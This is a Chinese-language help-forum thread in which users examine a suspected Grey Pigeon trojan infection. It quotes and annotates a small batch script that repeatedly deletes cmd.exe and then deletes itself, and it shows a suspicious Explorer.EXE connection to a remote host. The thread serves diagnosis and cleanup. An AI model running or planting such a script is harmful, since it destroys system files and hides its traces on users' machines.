//**********
:try
del "C:\WINDOWS\system32\cmd.exe"
if exist "C:\WINDOWS\system32\cmd.exe" goto try
del %0
exit
************//
 
上面的代码是在“C：\windows\ ”找到的一个批处理文件~！~

估计中的是灰鸽子病毒

进程名  进程 ID  协议  本地端口  本地端口名  本地地址  远程端口  远程端口名  远程地址  远程主机名  状态  进程路径  产品名  文件描述  文件版本  公司  进程创建于  用户名  进程服务  进程属性  
Explorer.EXE 1188 TCP 1444   192.168.1.4 8000   58.51.31.247   Established C:\WINDOWS\Explorer.EXE
[em06][em06][em06][em06][em06]

现在的问题是，运行不了DOS~~~~~


[em08]


文件删掉后，重起还有~~~~[em05]

//**********
:try
del "C:\WINDOWS\system32\cmd.exe"   [删除C:\WINDOWS\system32\cmd.exe这个文件]
if exist "C:\WINDOWS\system32\cmd.exe" goto try [如果还有这个文件，跳到上面]
del %0   [删除自己]
exit     [退出]
************//

按理说这个文件运行一次，会自我删除。但同时也删除了cmd.exe。到安全模式下杀毒，或使用专杀工具试一下。

自动批处理文件吗？
删掉autoexec.bat
cmd可以用XP原盘提取回来